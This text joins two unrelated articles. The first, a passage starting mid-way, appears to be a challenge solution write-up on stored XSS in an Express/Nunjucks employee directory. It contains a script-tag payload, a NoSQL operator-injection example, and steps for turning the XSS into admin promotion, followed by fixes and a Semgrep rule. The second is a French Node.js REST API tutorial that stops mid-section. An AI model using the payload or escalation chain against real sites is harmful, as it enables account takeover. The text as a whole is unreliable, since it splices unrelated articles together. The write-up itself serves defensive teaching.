/admin/promote/:id, POST /admin/invite: admin + CSRF, :id and form fields - GET /api/csrf-token, GET /health: no auth 3. 🎯 Dangerous sinks - S1: HTML rendering with Nunjucks. The templates print stored employee fields and the ?error= query parameter. If user input can become markup, you get XSS (CWE-79). - S2: MongoDB queries and updates built from input → NoSQL operator injection. It comes in two flavors: - S2a, query filters: email at login and register, invitationCode, :id. An operator like {"$ne": null} would change which documents match. - S2b, the update document: updateEmployeeById(id, patch). An operator like $unset or $rename would change what the update does. - S3: redirects. res.redirect(...) is used all over auth.js and pages.js → open redirect. --- 4 & 5. 🧩 Threat model & 🔍 mitigation review 🔓 Business logic Authentication ✅. The app won't start without JWT_SECRET. jwt.verify pins HS256, which blocks alg: none and algorithm confusion (jsonwebtoken docs). Tokens expire after 24h, and the user is reloaded from the database on every request. Every admin API route has requireAuth, and every page that needs a user has requireUser. const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] }); const user = await db.findUserById(decoded.userId); src/middleware/auth.js#L36-L37 · secret required, app.js#L20-L23 · 24h expiry, auth.js#L12-L19 requireUser, used by the web pages, only lets a request through once optionalAuth has verified the token and set req.user: function requireUser(req, res, next) { if (!req.user) { return res.redirect('/login'); } next(); } src/routes/pages.js#L10-L15 Invitation-only registration ✅. Can someone register without an invitation, reuse one, or use someone else's? No. Codes are 128-bit random and only their bcrypt hash is stored, so even a database leak doesn't reveal a usable code. Each code is tied to one email and expires after 7 days, and creating a new one voids the old ones: await Invitation.updateMany( { email: normalized, used: false }, { $set: { used: true } } ); const plaintext = crypto.randomBytes(16).toString('hex'); const codeHash = await bcrypt.hash(plaintext, 10); const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000); src/store/directoryStore.js#L226-L232 At registration, only an unused, unexpired code for that email is accepted, and the match is marked used so it works once: const invitations = await Invitation.find({ email: normalized, used: false, expiresAt: { $gt: new Date() } }).sort({ expiresAt: -1 }); ... inv.used = true; await inv.save(); src/store/directoryStore.js#L254-L264 And the new account's role is hard-coded, so you can't register yourself as an admin. A second registration with the same email is blocked by the pre-checks and by the unique index on email: const user = await db.createUser(email, passwordHash, 'employee', null); src/routes/auth.js#L76 · duplicate checks, auth.js#L50-L64 · unique index, directoryStore.js#L6 Vertical privilege escalation (employee → admin) ✅. The admin API router applies both middlewares to every route, and requireAdmin checks the role that requireAuth just loaded from the database: router.use(requireAuth, requireAdmin); src/routes/admin.js#L11 const requireAdmin = async (req, res, next) => { if (!req.user || req.user.role !== 'admin') { return res.status(403).json({ error: 'Admin access required' }); } next(); }; src/middleware/auth.js#L57-L62 The /admin* pages don't use that router, so each handler checks the role itself (pages.js#L85, #L106, #L128, #L140): router.post('/admin/promote/:id', requireUser, async (req, res, next) => { try { if (req.user.role !== 'admin') { return res.status(403).send('Forbidden'); } await db.updateUserRole(req.params.id, 'admin'); res.redirect('/admin'); src/routes/pages.js#L126-L132 Keep that last detail in mind: the check is "is this request from an admin?", and it is. Horizontal access to salaries ✅. getDirectoryForViewer (src/store/directoryStore.js#L210-L222, shown in story 5) returns maskEmployee for other people's rows. It builds a new object from the public fields only, so salary and email can't leak by accident: maskEmployee(emp) { return { id: emp.id, name: emp.name, title: emp.title, manager: emp.manager, deskNumber: emp.deskNumber, location: emp.location, phone: emp.phone }; } src/store/directoryStore.js#L198-L208 The self-edit routes look up the record from req.user.id (src/routes/pages.js#L64, src/routes/employees.js#L30), never from an ID in the request, and the API rejects salary outright: if (Object.prototype.hasOwnProperty.call(req.body, 'salary')) { return res.status(403).json({ error: 'Cannot update salary through this endpoint' }); } src/routes/employees.js#L35-L37 CSRF ✅. csurf checks a _csrf token on every state-changing request that isn't exempt. Requests with an Authorization: Bearer header skip it, which is safe: a page on another site can't make the browser add that header. Removing the _csrf field from an invite request in Burp Repeater gets Invalid or missing CSRF token. The cookie is also SameSite=Lax. function csrfMiddleware(req, res, next) { const auth = req.headers.authorization; const hasBearer = auth && String(auth).startsWith('Bearer '); if (hasBearer && !['GET', 'HEAD', 'OPTIONS'].includes(req.method)) { return next(); } if (req.method === 'POST' && CSRF_EXEMPT_AUTH_POST.has(req.path)) { return next(); } return csrfProtection(req, res, next); } app.js#L36-L46 One caveat for later: a CSRF token only stops requests from another origin. A script running on this origin can read the token like any form on the page does. Mass assignment ✅. Can an employee write fields they shouldn't, like salary, email or userId? No. There are two allowlists. The employee routes copy only the six public fields (src/routes/pages.js#L68-L74, src/routes/employees.js#L39-L45, shown in story 4). The store then copies only its own fixed list of keys, so unknown fields like role or _id never reach MongoDB: const allowed = [ 'name', 'title', 'manager', 'deskNumber', 'location', 'phone', 'salary', 'userId', 'email' ]; src/store/directoryStore.js#L160-L170 salary, userId and email are on the store's list, but only the admin API passes the raw body to it, and that route sits behind requireAdmin: router.patch('/employees/:id', async (req, res) => { try { const updated = await db.updateEmployeeById(req.params.id, req.body); src/routes/admin.js#L47-L49 This matches the OWASP Mass Assignment cheat sheet's advice to allowlist the bindable fields. 💉 Source-to-sink S2a, NoSQL injection in filters ✅. The classic attack sends an object instead of a string, for example {"email": {"$ne": null}}. express-mongo-sanitize strips $-prefixed and dotted keys from the body, query and params before any handler runs: app.use(mongoSanitize()); app.js#L66 On top of that, findUserByEmail calls email.toLowerCase(), which throws on an object, and findUserById goes through Mongoose, which casts the ID to an ObjectId and rejects anything else: async findUserByEmail(email) { const doc = await User.findOne({ email: email.toLowerCase().trim() }); return toUserDto(doc); } async findUserById(id) { const doc = await User.findById(id); return toUserDto(doc); } src/store/directoryStore.js#L86-L94 S2b, NoSQL injection in updates ✅. updateEmployeeById builds a brand-new update object from a fixed list of keys, so a top-level $unset or $rename is never copied in, and mongo-sanitize strips nested $ keys too: const update = {}; for (const key of allowed) { if (Object.prototype.hasOwnProperty.call(patch, key)) { ... update[key] = patch[key]; } } const doc = await Employee.findByIdAndUpdate(id, update, { new: true, runValidators: true }); src/store/directoryStore.js#L171-L186 S3, open redirect ✅. Every res.redirect target is a hard-coded relative path like /login or /profile?saved=1. User data only goes into the query string, and only after encodeURIComponent, so it can't change where the browser goes: return res.redirect('/register?error=' + encodeURIComponent('All fields are required')); ... res.redirect('/profile?saved=1'); src/routes/auth.js#L45 · src/routes/pages.js#L76 S1, XSS: this is where it breaks ❌. Go back to the template config from story 1: nunjucks.configure(viewsPath, { autoescape: false, app.js#L56-L57 Autoescaping is the control that turns < into &lt;, " into &quot; and so on whenever a value is printed with {{ }}. It's exactly what the OWASP XSS Prevention cheat sheet calls output encoding. Nunjucks turns it on by default, so this line switches it off for every template at once. Combine that with story 4 (Name is stored exactly as typed) and story 5 (Name is printed into the directory table and the admin page), and a profile field becomes HTML in the admin's browser. > 💡 Reviewer's lesson: when you see a template engine, a UI framework or a markdown renderer, check its escaping setting before you read a single template. One global flag can undo every {{ value }} in the app, and it's a one-line change that's easy to miss in review. --- 6. 🧪 Exploitation Why a plain <script> works Where the value lands decides what the payload has to look like: - The Directory, <td>{{ emp.name }}</td>: the value is element text, so a plain <script>…</script> becomes a real script tag. No breakout is needed. - The admin page, <input value="{{ emp.name }}">: the value is inside a quoted attribute, so a payload needs a leading "> to close the attribute and the tag first. - Your own profile page: the same attribute context, which is why the payload doesn't fire while you're typing it. PoC 1. The employee puts a script in their Name. On My profile, they set Name to test2<script>alert('XSS')</script> and click Save. The server stores it as typed. !The employee stores a script tag in the Name field of their profile 2. The admin logs in and opens the Directory. Admins land on /admin after login (top right: admin@localhost). From there they click Directory, an ordinary part of their day. !The admin is logged in on /admin and clicks Directory 3. The script runs in the admin's browser. The alert comes from localhost:3000, the app's own origin, so the attacker's code is running inside the admin's session. !An alert box saying XSS pops up on localhost:3000 for the admin What a real payload can do An alert is only the proof. A real payload can do anything the admin's page can do: - Read the admin's CSRF token from GET /api/csrf-token, or from the hidden _csrf fields on /admin. - Send admin requests as the admin. The session cookie is httpOnly, so the script can't read it, but it doesn't need to: the browser attaches it to every request the script sends. - Promote the attacker. With the token and the cookie, a POST /admin/promote/<attacker-id> passes requireUser, the role check and the CSRF check, because it really does come from the admin's browser. - Upgrade the attacker's existing session. requireAuth reloads the role from the database, so the attacker's own token becomes an admin token immediately. Impact: any employee becomes an admin the next time an admin opens the Directory. From there they can read and change every salary, delete records, create invitations and promote others. The same payload also runs for every employee who opens the directory. Classification: Stored Cross-Site Scripting, CWE-79, caused by disabled output encoding, CWE-116. It turns into privilege escalation because the victim is an admin. --- 7. 🛠️ The fix Primary fix: turn output encoding back on. Delete the line or set it to true: nunjucks.configure(viewsPath, { - autoescape: false, + autoescape: true, express: app, noCache: process.env.NODE_ENV !== 'production' }); Here is the real admin.html rendering the same kind of payload, before and after: autoescape:false -> <input type="text" name="location" value=""><script>alert(1)</script>"> autoescape:true -> <input type="text" name="location" value="&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;"> Nunjucks' escaping encodes & " ' < >, which covers both places this app prints values: element text and double-quoted attributes. None of the templates intentionally output HTML, so nothing needs | safe. Defense-in-depth (do these too): 1. Add a Content Security Policy. None of the templates use inline <script>, so a policy like script-src 'self'; object-src 'none'; base-uri 'none' (for example with helmet) blocks this payload without breaking the UI. 2. Validate profile fields when they come in. Enforce lengths and per-field formats (phone, desk number), and reject < and > in plain-text fields. This is a safety net, not the fix: output encoding is still required. If you ever need rich text, use an allowlist sanitizer like DOMPurify instead of | safe. 3. Make privilege changes harder to ride. Require re-authentication or a confirmation step for Make admin, and audit-log role changes. 4. Guard the config in CI. No public Semgrep ruleset flags autoescape: false for Nunjucks, but a custom rule takes a few lines: rules: - id: nunjucks-autoescape-disabled languages: [javascript, typescript] severity: ERROR message: Nunjucks is configured with autoescape disabled, so every {{ value }} is written into the HTML unencoded. pattern-either: - pattern: "$NUNJUCKS.configure(..., {..., autoescape: false, ...})" - pattern: "new $NUNJUCKS.Environment(..., {..., autoescape: false, ...})" nunjucks-autoescape-disabled.yaml It flags the root cause directly: $ semgrep scan --metrics=off \ --config solutions/008-employee-directory/nunjucks-autoescape-disabled.yaml \ challenges/008-employee-directory challenges/008-employee-directory/app.js ❯❯❱ solutions.008-employee-directory.nunjucks-autoescape-disabled 56┆ nunjucks.configure(viewsPath, { 57┆ autoescape: false, 58┆ express: app, 59┆ noCache: process.env.NODE_ENV !== 'production' 60┆ }); The rule points at the config, not at each {{ emp.name }}, which is the right place: one flag turns off encoding for every template. A taint rule wouldn't find this anyway, because the payload is saved to MongoDB in one request and rendered in another. --- 🌍 Real-world examples - Stored XSS to Privilege Escalation to Admin Takeover to Data Breach — Ahmad Halabi (Aug 2025). A bug bounty write-up on a HackerOne financial program. An employee could only see the loan they were invited to, but the loan's purchase description was rendered without encoding. The researcher stored a <script src=…> payload there and invited the manager to review the loan. When the manager opened it, the script read the manager's CSRF token and replayed the role-change request, making the employee a manager. Almost exactly this challenge's chain. - From a Sanitized Name Field to One-Click Account Takeover — zere.es (2026). The server stripped HTML from a name field, but the front-end decoded HTML entities and wrote the value with innerHTML, so entity-encoded markup survived and ran. The author chained it with login CSRF and OAuth-code theft for one-click takeover. A different sink with the same lesson: filtering input doesn't help when the output isn't encoded for its context. 📚 More resources - CWE-79: Cross-site Scripting and CWE-116: Improper Encoding or Escaping of Output - OWASP Cross Site Scripting Prevention Cheat Sheet - Nunjucks: Autoescaping and configure options - PortSwigger Web Security Academy: Stored XSS - PortSwigger lab: Exploiting XSS to bypass CSRF defenses - MDN: Content Security Policy --- 🎯 Takeaway Employee Directory's server-side authorization is sound: role checks, salary masking, allowlists and CSRF tokens all hold, and httpOnly keeps the session cookie out of reach. One template setting makes them irrelevant. They all still run, but once attacker script runs on your origin in an admin's browser, every check sees a legitimate admin request. Whenever something renders in the browser, whether it's React, Angular, a template engine or a markdown renderer, check that user input goes through HTML escaping on the way out. Keep autoescape on, and treat any field a low-privileged user writes and a high-privileged user reads as a trust boundary. --- 🔔 What's next Challenge #9: ProjectHub is live now. Can you find the bug before the solution drops? 👉 github.com/mohamed-osama-aboelkheir/the-secure-co… New challenges land every two weeks, and each drop includes the previous challenge's solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs. If you found the bug yourself, or took a different route to it, tell me in the comments 👇

  4. Créer une API REST Node.js avec Express en 2026 : le tutoriel pas à pas L'essentiel en une minute Créer une API REST Node.js en 2026, c'est d'abord choisir les bonnes versions : Node.js 24 est la LTS la plus récente au 24 octobre 2026, et Express 5.3.0 est sortie le 9 octobre. La première version de cet article reposait sur Node.js 20, arrivé en fin de vie le 30 avril 2026 : tout le code a été réécrit. Ce tutoriel construit une petite API de gestion de tâches, de l'initialisation au déploiement. Il s'appuie sur la documentation de Node.js et d'Express, sur MDN pour HTTP et sur l'OWASP pour la sécurité, consultées le 24 octobre 2026. Le code suit ces documentations, mais nous ne l'avons pas exécuté. > Points clés > > - Visez Node.js 24 LTS aujourd'hui, ou Node.js 26 à partir du 28 octobre 2026, date à laquelle il doit passer en LTS selon le calendrier officiel. Express 5 exige Node.js 18 au minimum. > - Express 5 transmet automatiquement les erreurs des fonctions async au gestionnaire d'erreurs : plus besoin d'envelopper chaque route dans un try/catch. > - Le module node:sqlite, intégré à Node.js, suffit pour apprendre sans dépendance, mais il est encore au stade « release candidate » et synchrone : passez à PostgreSQL en production. > - Pour l'authentification, l'OWASP demande de refuser alg: none, de vérifier iss, aud et exp, et de hacher les mots de passe avec Argon2id, ou à défaut scrypt. > - Le lanceur de tests intégré à Node.js, stable depuis la version 20, et fetch suffisent pour tester une API REST Node.js sans framework de test. --- Les principes REST et les codes de statut REST n'est pas une norme mais un ensemble de contraintes d'architecture. MDN précise qu'un débutant peut voir une API REST comme un service HTTP appelable avec les outils web standard (glossaire MDN, REST, mis à jour le 11 juillet 2025). En pratique : chaque ressource a une URL (/api/v1/taches/42), le verbe HTTP dit ce qu'on en fait, le code de statut dit comment ça s'est passé. | Verbe | Usage dans notre API | Idempotent | Code en cas de succès | |---|---|---|---| | GET | Lire la liste ou une tâche | Oui | 200 | | POST | Créer une tâche | Non | 201 | | PUT | Remplacer une tâche entière | Oui | 200 | | PATCH | Modifier une partie d'une tâche | Non garanti | 200 | | DELETE | Supprimer une tâche | Oui | 204 | Selon MDN, les méthodes sûres, PUT et DELETE sont idempotentes, alors que POST et PATCH ne le sont pas forcément (glossaire MDN, Idempotent) : deux PUT identiques laissent la ressource dans le même état, deux POST créent deux tâches. Les codes de statut forment cinq classes : informations (1xx), succès (2xx), redirections (3xx), erreurs du client (4xx) et du serveur (5xx), selon la référence MDN des codes de statut. Voici ceux de notre API : | Code | Sens selon MDN | Quand notre API le renvoie | |---|---|---| | 201 Created | Une nouvelle ressource a été créée | Après un POST réussi | | 204 No Content | Pas de contenu à envoyer | Après une suppression | | 400 Bad Request | Requête incompréhensible, syntaxe invalide | JSON mal formé | | 401 Unauthorized | Le client doit s'authentifier | Jeton absent, invalide ou expiré | | 404 Not Found | Ressource introuvable | Tâche inexistante ou d'un autre utilisateur | | 409 Conflict | Conflit avec l'état du serveur | E-mail déjà inscrit | | 413 Content Too Large | Corps de requête plus grand que la limite du serveur | Corps de plus de 10 ko | | 415 Unsupported Media Type | Format de données non supporté | Corps absent ou qui n'est pas du JSON | | 422 Unprocessable Content | Requête bien formée mais erreurs sémantiques | Données refusées par la validation | | 429 Too Many Requests | Trop de requêtes en un temps donné | Trop de tentatives d'inscription ou de connexion | | 500 Internal Server Error | Situation que le serveur ne sait pas traiter | Bug ou panne imprévue | La fiche REST Security de l'OWASP tranche le piège classique : 401 quand l'authentification manque ou échoue, 403 quand elle a réussi mais que l'utilisateur n'a pas les droits. Pour la tâche d'un autre utilisateur, notre API répond 404, ce qui évite de confirmer qu'elle existe. --- Pourquoi une API REST Node.js avec Express en 2026 Node.js reste la technologie web la plus citée par les développeurs, et Express le framework serveur le plus utilisé de cet écosystème. Dans l'enquête Stack Overflow 2025, 48,7 % des 23 678 répondants à la question sur les technologies web déclarent avoir beaucoup travaillé avec Node.js sur l'année écoulée, et 19,9 % avec Express. NestJS est à 6,7 % et Fastify à 2,9 %. !Graphique en barres : usage de technologies serveur dans l'enquête Stack Overflow 2025, Node.js 48,7 %, Express 19,9 %, ASP.NET Core 19,7 %, FastAPI 14,8 %, Spring Boot 14,7 %, Flask 14,4 %, Django 12,6 %, NestJS 6,7 %, Fastify 2,9 % L'édition 2026, menée du 23 juin au 5 août 2026 selon sa méthodologie, ne publie pas de classement des frameworks web : ces chiffres de 2025 restent les plus récents de cette source. Elle confirme que JavaScript est le langage le plus utilisé, par 62,0 % des 14 099 répondants à la question (Stack Overflow 2026). Express n'est ni le plus rapide ni le plus structurant, mais sa simplicité en fait un bon outil pour apprendre : un routeur, des middlewares, rien d'imposé. Côté Python, l'équivalent serait Flask ou FastAPI, présentés dans notre guide pour apprendre Python en 2026. --- Étape 1 : installer Node.js et initialiser le projet Installez une version LTS : la page des versions de Node.js réserve la production aux versions LTS, actives ou en maintenance. | Composant | Version au 24 octobre 2026 | Statut | |---|---|---| | Node.js 24 « Krypton » | 24.22.1, publiée le 20 octobre 2026 | LTS, en maintenance depuis le 20 octobre, fin prévue le 30 avril 2028 | | Node.js 26 | 26.12.1, publiée le 21 octobre 2026 | Current, passage en LTS prévu le 28 octobre 2026 | | Node.js 22 « Jod » | 22.23.4 | LTS de maintenance, fin prévue le 30 avril 2027 | | Node.js 20 | 20.20.2 | Fin de vie | | Express 5 | 5.3.0, publiée le 9 octobre 2026 | Version par défaut sur npm, Node.js 18 minimum | Sources : le calendrier officiel des versions, les notes de version d'Express et sa page de support. À partir de Node.js 27, chaque version majeure deviendra LTS, sur un cycle annuel. Créez ensuite le projet : node --version mkdir api-taches && cd api-taches npm init -y npm install express zod jsonwebtoken helmet rate-limiter-flexible Au 24 octobre 2026, le registre npm sert Express 5.3.0, Zod 4.6.7, jsonwebtoken 9.0.3, Helmet 8.3.0 et rate-limiter-flexible 11.2.3. Complétez package.json ainsi : { "name": "api-taches", "version": "1.0.0", "type": "module", "engines": { "node": ">=24" }, "scripts": { "dev": "node --watch --env-file=.env src/server.js", "start": "node --env-file-if-exists=.env src/server.js", "test": "node --test" }, "dependencies": { "express": "^5.3.0", "helmet": "^8.3.0", "jsonwebtoken": "^9.0.3", "rate-limiter-flexible": "^11.2.3", "zod": "^4.6.7" } } Plus besoin de nodemon ni de dotenv : selon la documentation de la ligne de commande, --watch est stable depuis Node.js 22, et --env-file comme --env-file-if-exists ne sont plus expérimentaux depuis Node.js 24.10 (journal des modifications de la 24.10.0). Le script start charge .env s'il existe, sans échouer en production où les variables sont injectées par l'hébergeur. Créez enfin un fichier .env, exclu de Git : PORT=3000 DB_PATH=data.db JWT_SECRET=collez-ici-une-valeur-aleatoire Pour générer le secret, node -e "console.log(require('node:crypto').randomBytes(32).toString('hex'))" produit 256 bits aléatoires, la taille minimale qu'impose la RFC 7518, section 3.2 pour une clé HS256 ; sans cette valeur, server.js refuse de démarrer. Pour l'éditeur, voyez notre sélection d'extensions VS Code. --- Étape 2 : créer le serveur Express 5 L'application et son démarrage vivent dans deux fichiers, pour que les tests importent l'application sans ouvrir de port. L'arborescence finale : api-taches/ package.json .env src/ app.js application Express server.js démarrage db.js base SQLite schemas.js schémas Zod motdepasse.js hachage scrypt middleware/ validation, auth, limiteur, erreurs routes/ auth.js, taches.js test/ api.test.js Le fichier src/app.js assemble les middlewares et les routeurs : import express from 'express'; import helmet from 'helmet'; import { routerAuth } from './routes/auth.js'; import { routerTaches } from './routes/taches.js'; import { routeInconnue, gestionErreurs } from './middleware/erreurs.js'; export const app = express(); if (process.env.TRUST_PROXY) { app.set('trust proxy', Number(process.env.TRUST_PROXY)); } app.use(helmet()); app.use(express.json({ limit: '10kb' })); app.get('/health', (req, res) => { res.json({ statut: 'ok' }); }); app.use('/api/v1/auth', routerAuth); app.use('/api/v1/taches', routerTaches); app.use(routeInconnue); app.use(gestionErreurs); Helmet ajoute des en-têtes de sécurité et retire X-Powered-By, comme le recommande la page sécurité en production d'Express. express.json() limite le corps à 100 ko par défaut selon la référence de l'API Express 5 : 10 ko suffisent pour une tâche. Le préfixe /api/v1 permettra une version 2 sans casser les clients. Derrière un proxy inverse, TRUST_PROXY=1 indique à Express de lire l'adresse du client dans X-Forwarded-For à un saut de distance, comme le décrit la page Express derrière un proxy ; sans proxy, laissez la variable vide, sinon un client pourrait falsifier son adresse. Le fichier src/server.js démarre le serveur : import { app } from './app.js'; if (Buffer.byteLength(process.env.JWT_SECRET ?? '') < 32) { throw new Error('JWT_SECRET doit contenir au moins 32 octets (256 bits)'); } const port = Number(process.env.PORT ?? 3000); app.listen(port, (error) => { if (error) throw error; console.log(`API à l'écoute sur http://localhost:${port}`); }); Le paramètre error est une nouveauté d'Express 5 : selon le guide de migration, app.listen appelle ce rappel en cas d'erreur du serveur, comme un port déjà occupé. --- Étape 3 : stocker les données dans SQLite Node.js embarque SQLite depuis la version 22.5, dans le module node:sqlite, sans option à activer depuis les versions 22.13 et 23.4. La documentation de Node.js 24 le classe « release candidate » (stabilité 1.2) depuis la version 24.15, publiée le 15 avril 2026 (journal des modifications de la 24.15.0). Pour un tutoriel, c'est le plus simple : zéro dépendance, zéro serveur. import { DatabaseSync } from 'node:sqlite'; export const db = new DatabaseSync(process.env.DB_PATH ?? 'data.db'); db.exec(` CREATE TABLE IF NOT EXISTS utilisateurs ( id INTEGER PRIMARY KEY, email TEXT NOT NULL UNIQUE, hash TEXT NOT NULL ); CREATE TABLE IF NOT EXISTS taches ( id INTEGER PRIMARY KEY, titre TEXT NOT NULL, terminee INTEGER NOT NULL DEFAULT 0, proprietaire INTEGER NOT NULL REFERENCES utilisateurs(id) ); `); Les clés étrangères sont actives par défaut, selon la même page. Toutes les requêtes passent par db.prepare() avec des paramètres ? : les valeurs sont liées à part du texte SQL, ce qui bloque l'injection SQL. Deux limites. Sous Node.js 26, la classe s'appelle Database et DatabaseSync devient un alias déprécié dans la documentation seulement (DEP0210). Surtout, l'API est synchrone : chaque requête bloque la boucle d'événements, alors que la page performances en production d'Express déconseille les fonctions synchrones. !Graphique en sucettes : bases de données candidates pour une API REST Node.js, les plus utilisées selon l'enquête Stack Overflow 2026, PostgreSQL 57,9 %, SQLite 42,1 %, MySQL 35,1 %, Redis 28,3 %, Microsoft SQL Server 27,1 %, MariaDB 20,3 %, MongoDB 19,0 % Pour une API REST Node.js en production avec du trafic concurrent, préférez PostgreSQL, la base la plus utilisée : 57,9 % des 12 061 répondants concernés de l'enquête Stack Overflow 2026, devant SQLite (42,1 %) et MySQL (35,1 %) ; MongoDB est à 19,0 %. Il faudra un pilote asynchrone et des await, mais les routes gardent la même forme. --- Étape 4 : écrire les routes et les verbes HTTP Les routes traduisent le tableau des verbes en code. Toutes passent par exigerAuth : chaque utilisateur ne voit que ses tâches. Les middlewares utilisés sont écrits aux étapes 5 et 7. Voici src/routes/taches.js : import { Router } from 'express'; import { db } from '../db.js'; import { exigerAuth } from '../middleware/auth.js'; import { exigerJson, valider } from '../middleware/validation.js'; import { schemaCreation, schemaRemplacement, schemaModification } from '../schemas.js'; export const routerTaches = Router(); routerTaches.use(exigerAuth); const versJson = (t) => ({ id: t.id, titre: t.titre, terminee: t.terminee === 1 }); const introuvable = (res) => res.status(404).json({ erreur: 'Tâche introuvable' }); function lireId(req) { const id = Number(req.params.id); return Number.isSafeInteger(id) && id > 0 ? id : null; } function trouver(id, proprietaire) { return db .prepare('SELECT id, titre, terminee FROM taches WHERE id = ? AND proprietaire = ?') .get(id, proprietaire); } routerTaches.get('/', (req, res) => { const taches = db .prepare('SELECT id, titre, terminee FROM taches WHERE proprietaire = ? ORDER BY id') .all(req.utilisateurId); res.json(taches.map(versJson)); }); routerTaches.get('/:id', (req, res) => { const id = lireId(req); const tache = id && trouver(id, req.utilisateurId); if (!tache) return introuvable(res); res.json(versJson(tache)); }); routerTaches.post('/', exigerJson, valider(schemaCreation), (req, res) => { const { titre, terminee = false } = req.donnees; const { lastInsertRowid } = db .prepare('INSERT INTO taches (titre, terminee, proprietaire) VALUES (?, ?, ?)') .run(titre, terminee ? 1 : 0, req.utilisateurId); const id = Number(lastInsertRowid); res.status(201).location(`${req.baseUrl}/${id}`).json({ id, titre, terminee }); }); function mettreAJour(req, res) { const id = lireId(req); const actuelle = id && trouver(id, req.utilisateurId); if (!actuelle) return introuvable(res); const tache = { ...versJson(actuelle), ...req.donnees }; db.prepare('UPDATE taches SET titre = ?, terminee = ? WHERE id = ?') .run(tache.titre, tache.terminee ? 1 : 0, id); res.json(tache); } routerTaches.put('/:id', exigerJson, valider(schemaRemplacement), mettreAJour); routerTaches.patch('/:id', exigerJson, valider(schemaModification), mettreAJour); routerTaches.delete('/:id', (req, res) => { const id = lireId(req); if (!id) return introuvable(res); const { changes } = db .prepare('DELETE FROM taches WHERE id = ? AND proprietaire = ?') .run(id, req.utilisateurId); if (Number(changes) === 0) return introuvable(res); res.sendStatus(204); }); Le guide de migration vers Express 5 retire res.json(objet, 201) au profit de res.status(201).json(objet), et res.send(204) au profit de res.sendStatus(204). L'en-tête Location du POST donne au client l'URL de la ressource créée. La syntaxe des chemins a aussi changé : un joker doit être nommé (/*splat au lieu de /*) et un paramètre optionnel s'écrit entre accolades. Pour migrer un projet Express 4, le guide propose npx codemod@latest @expressjs/v5-migration-recipe. --- Étape 5 : valider les données avec Zod Ne faites jamais confiance au corps d'une requête. La fiche REST de l'OWASP demande de valider longueur, plage, format et type de chaque entrée, et de refuser en 415 un Content-Type inattendu. Les schémas vont dans src/schemas.js : import * as z from 'zod'; const titre = z.string().trim().min(1).max(200); export const schemaIdentifiants = z.strictObject({ email: z.string().trim().toLowerCase().pipe(z.email()), motDePasse: z.string().min(15).max(128), }); export const schemaCreation = z.strictObject({ titre, terminee: z.boolean().optional() }); export const schemaRemplacement = z.strictObject({ titre, terminee: z.boolean() }); export const schemaModification = schemaRemplacement.partial(); z.strictObject refuse les clés inconnues : impossible d'injecter un champ proprietaire. L'e-mail est nettoyé et mis en minuscules avant d'être validé par z.email(), la syntaxe de Zod 4 (référence de l'API Zod), pour qu'Ada@Example.com et ada@example.com désignent le même compte. Le minimum de 15 caractères suit la fiche Authentication de l'OWASP et la norme NIST SP 800-63B, révision 4 (section 3.1.1.2) pour un mot de passe utilisé sans second facteur ; le maximum doit rester d'au moins 64 caractères. Le middleware src/middleware/validation.js range le résultat nettoyé dans req.donnees : import * as z from 'zod'; export function exigerJson(req, res, next) { if (!req.is('application/json')) { return res.status(415).json({ erreur: 'Le corps doit être en application/json' }); } next(); } export function valider(schema) { return (req, res, next) => { const resultat = schema.safeParse(req.body); if (!resultat.success) { return res.status(422).json({ erreur: 'Données invalides', details: z.flattenError(resultat.error), }); } req.donnees = resultat.data; next(); }; } safeParse() renvoie success puis data ou error sans lever d'exception. z.flattenError() produit deux listes, selon la page de Zod sur le formatage des erreurs : fieldErrors, champ par champ, et formErrors, pour les erreurs à la racine de l'objet. C'est là qu'arrive une clé inconnue refusée par z.strictObject, d'où l'envoi des deux listes au client. Le contrôle du Content-Type sert aussi Express 5 : req.body y vaut undefined quand le corps n'a pas été analysé, là où Express 4 renvoyait {}. Sans lui, une requête en text/plain recevrait un 422 trompeur. Une requête sans corps du tout reçoit elle aussi un 415, car req.is() renvoie null quand il n'y a pas de corps, selon la référence de l'objet requête : c'est voulu, ces routes exigent un objet JSON. --- Étape 6 : centraliser la gestion des erreurs Express 5 règle le principal défaut d'Express 4. Selon la page sur la gestion des erreurs, une route qui renvoie une promesse rejetée appelle automatiquement next(erreur) : une exception dans une fonction async atteint le gestionnaire sans try/catch. Ce gestionnaire prend quatre arguments et se déclare après les routes. Voici src/middleware/erreurs.js : const messages = { 400: 'Requête mal formée', 413: 'Corps de requête trop volumineux', 415: 'Encodage ou jeu de caractères non pris en charge', }; export function routeInconnue(req, res) { res.status(404).json({ erreur: 'Ressource introuvable' }); } export function gestionErreurs(err, req, res, next) { if (res.headersSent) return next(err); const statut = messages[err.status] ? err.status : 500; if (statut === 500) console.error(err); res.status(statut).json({ erreur: messages[statut] ?? 'Erreur interne du serveur' }); } Ces trois codes viennent du parseur JSON, dont la documentation attribue le statut 400 à un corps illisible, 413 à un corps trop gros et 415 à un encodage ou un jeu de caractères non pris en charge. Tout le reste devient un 500 générique, le détail restant dans les journaux du serveur : c'est la règle de l'OWASP, qui interdit d'envoyer au client une pile d'appels ou un indice technique. Si la réponse a déjà commencé (res.headersSent), Express recommande de déléguer à son gestionnaire par défaut. --- Étape 7 : ajouter l'authentification JWT L'API délivre à la connexion un jeton JWT signé, que le client renvoie dans l'en-tête Authorization: Bearer. Il faut d'abord stocker les mots de passe de façon sûre. Hacher les mots de passe avec scrypt La fiche de l'OWASP sur le stockage des mots de passe recommande Argon2id, puis scrypt avec un coût minimal de 2^17, une taille de bloc de 8 et un parallélisme de 1. Node.js fournit scrypt nativement. Voici src/motdepasse.js : import { scrypt, randomBytes, timingSafeEqual } from 'node:crypto'; import { promisify } from 'node:util'; const scryptAsync = promisify(scrypt); const PARAMS = { N: 2 ** 17, r: 8, p: 1, maxmem: 256 * 1024 * 1024 }; const LONGUEUR = 64; export async function hacher(motDePasse) { const sel = randomBytes(16); const cle = await scryptAsync(motDePasse, sel, LONGUEUR, PARAMS); return `${sel.toString('hex')}:${cle.toString('hex')}`; } export async function verifier(motDePasse, stocke) { const [sel, attendu] = stocke.split(':').map((h) => Buffer.from(h, 'hex')); const cle = await scryptAsync(motDePasse, sel, LONGUEUR, PARAMS); return timingSafeEqual(cle, attendu); } maxmem n'est pas décoratif : la documentation du module crypto le fixe par défaut à 32 Mio et lève une erreur quand 128 × N × r le dépasse, soit 128 Mio avec les paramètres de l'OWASP. Elle recommande aussi un sel aléatoire d'au moins 16 octets. 